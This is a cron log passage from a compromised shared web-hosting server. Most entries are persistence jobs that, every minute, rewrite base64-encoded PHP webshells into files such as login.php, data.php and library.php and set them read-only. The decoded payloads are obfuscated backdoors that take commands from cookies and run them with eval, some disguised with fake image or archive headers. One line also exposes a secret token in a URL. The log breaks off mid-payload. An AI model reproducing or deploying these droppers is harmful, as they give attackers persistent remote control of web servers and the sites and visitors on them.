JyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:32:01 medusa CROND[19344]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:32:01 medusa CROND[19345]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:32:01 medusa CROND[19346]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:32:01 medusa CROND[19354]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:32:01 medusa CROND[19353]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:32:01 medusa CROND[19358]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:33:01 medusa CROND[11824]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:33:02 medusa CROND[11873]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:33:02 medusa CROND[11919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:33:02 medusa CROND[11920]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:33:02 medusa CROND[11921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:33:02 medusa CROND[11922]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:33:02 medusa CROND[11925]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:33:02 medusa CROND[11926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:33:02 medusa CROND[11930]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:33:02 medusa CROND[11932]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:33:02 medusa CROND[11933]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:33:02 medusa CROND[11947]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:34:01 medusa CROND[3704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:34:01 medusa CROND[3726]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:34:02 medusa CROND[3865]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:34:02 medusa CROND[3866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:34:02 medusa CROND[3867]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:34:02 medusa CROND[3868]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:34:02 medusa CROND[3869]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:34:02 medusa CROND[3870]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:34:02 medusa CROND[3871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:34:02 medusa CROND[3874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3